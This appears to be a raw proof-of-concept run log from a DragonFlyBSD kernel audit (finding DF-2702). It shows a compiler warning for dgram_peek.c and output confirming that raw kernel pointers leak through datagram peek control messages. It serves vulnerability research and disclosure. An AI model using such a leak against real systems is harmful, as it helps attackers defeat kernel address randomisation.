DragonFlyBSD Kernel Audit
DF-2702 / run.2.log
← back to finding ↓ download raw
dgram_peek.c: In function 'main':
dgram_peek.c:24:49: warning: format '%zu' expects argument of type 'size_t', but argument 3 has type 'socklen_t' {aka 'unsigned int'} [-Wformat=]
     printf("DGRAM PEEK controllen=%u cmsg_len=%zu data0=0x%016llx\n",
                                               ~~^
                                               %u
dgram_peek.c:26:9:
         ((struct cmsghdr*)rbuf)->cmsg_len,
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~        
DGRAM PEEK controllen=24 cmsg_len=24 data0=0xfffff801167e5500
    slot[0] = 0xfffff801167e5980  <== RAW KERNEL POINTER
    slot[1] = 0xfffff801167e5a80  <== RAW KERNEL POINTER
  >>> KERNEL POINTER LEAK CONFIRMED IN PEEK
    slot[0] = 0xfffff801167e5980  <== RAW KERNEL POINTER
    slot[1] = 0xfffff801167e5a80  <== RAW KERNEL POINTER
  >>> KERNEL POINTER LEAK CONFIRMED IN PEEK
    slot[0] = 0x0000000700000006  (non-canonical garbage)
    slot[0] = 0xfffff801167e5e80  <== RAW KERNEL POINTER
    slot[1] = 0xfffff801167e5f80  <== RAW KERNEL POINTER